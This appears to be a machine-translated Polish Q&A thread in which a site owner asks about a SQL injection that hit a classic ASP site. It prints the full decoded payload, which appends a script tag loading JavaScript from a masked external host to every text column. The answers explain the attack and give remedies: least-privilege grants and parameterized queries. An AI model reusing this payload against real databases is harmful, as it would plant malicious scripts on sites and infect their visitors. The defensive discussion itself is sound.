Czy ktoś może mi wyjaśnić ten atak SQL injection?

Chciałem to opublikować tutaj, ponieważ jest to bardzo związane z kodowaniem i było to coś, co musiałem wyczyścić w tym tygodniu na jednej ze starych stron ASP (klasycznych) mojej firmy.

Zostaliśmy trafieni atakiem SQL injection, który został uruchomiony zaledwie kilka dni temu, ale drapię się po głowie, co dokładnie było "uszkodzeniem" serwera SQL (za pośrednictwem tych zapytań SQL).

Szczerze mówiąc, myślałem, że sposób, w jaki to przeprowadzono, był bardzo pomysłowy, a to moja wina firm za posiadanie starej strony 10 z małym lub żadnym środkiem odkażającym.

Atak:

Dekoduje do: (co chcę zrozumieć)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Odzyskaliśmy kopię zapasową (Pre injection) i przejrzeliśmy całą aplikację i wyczyściliśmy wszystkie instrukcje wejściowe. Nasz serwer jest firewall, więc nie ma bezpośredniego dostępu do SQL, jednak chcę wiedzieć, co jeszcze może zostać, i muszę przyznać, że zapytanie SQL jest ponad moją głową.

Czy ktoś może się temu przyjrzeć i wyjaśnić za mnie atak SQL?

PRZEPRASZAMY ZAKTUALIZOWAŁEM PEŁNY ZRZUT & SQL

Author: ruakh, 2011-12-05

5 answers

Samo sformatowanie go dla czytelności wiele wyjaśni:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Przechodzi przez każdą kolumnę tekstową każdej tabeli i wstawia do niej jakiś HTML-HTML, który zawiera wskaźnik do generowanego zewnętrznie JavaScript.

 57
Author: ruakh,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 02:16:09

Przenika przez wszystkie kolumny we wszystkich tabelach i aktualizuje ich wartość poprzez dodanie znacznika <script>, którego źródło wskazuje na złośliwy plik JS.

Ważny bit to

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

Domyślam się, że coś tu zostało pominięte, a wypowiedź prawdopodobnie zakończyła się czymś w stylu ('varchar', 'char',' text') lub czymś podobnym, więc próbuje tylko zaktualizować kolumny, które zawierają tekst. Mają nadzieję, że w jednej z kolumn znajdzie się tekst, który zostanie wciągnięty na Twoją stronę, więc po Dodaj do niego swoje odniesienie do JS, zostanie ono zawarte w źródle różnych stron.

Aby to naprawić, powinieneś zrobić coś podobnego - zapętlać wszystkie kolumny zawierające tekst i zastąpić wstrzykiwany skrypt pustym ciągiem znaków. Google będzie tutaj twoim przyjacielem, ale tutaj jest całkiem dobry link, który powinien być pomocny w konfiguracji skryptu, aby to zrobić.

Http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

 15
Author: Jeremy Wiggins,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 02:11:48

Rozważ zainstalowanie URLScan 3.1 w celu szybkiej ochrony aplikacji przed próbami SQL injection, a także poprawnego dezynfekcji instrukcji sql.

Ten typ ataku SQL injection działa również zazwyczaj, ponieważ użytkownik bazy danych ma zbyt luźne uprawnienia, np. prawa DBO. Poszukaj połączenia z bazą danych z aplikacji przy użyciu użytkownika bazy danych posiadającego tylko niezbędne prawa do uruchomienia aplikacji. Możesz utworzyć użytkownik bazy danych, Mapuj go do bazy danych z prawami publicznymi tylko niż uruchom skrypt taki jak ten poniżej, aby zastosować niezbędne indywidualne prawa do każdego obiektu, którego potrzebujesz.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Oczywiście przetestuj to na swojej konkretnej aplikacji, ponieważ możesz mieć procedury, które wymagają możliwości wyboru z tych tabel sys.

 4
Author: Andy Davies,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 11:56:07

Myślę, że próbuje wstawić zakodowane ciągi do wszystkich kolumn tekstowych w bazie danych. Sprawdź ten ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Hope it helps in some sense

 0
Author: Sudhir Bastakoti,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 23:28:01

Spójrz na zmianę zapytań w ten sposób;

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

Do czegoś takiego;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

To tylko prymitywny przykład walki z SQL Injection bez uciekania się do dezynfekcji danych wejściowych. Nadal podchodziłbym do tego inaczej.

 0
Author: Lankymart,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2013-12-09 12:15:09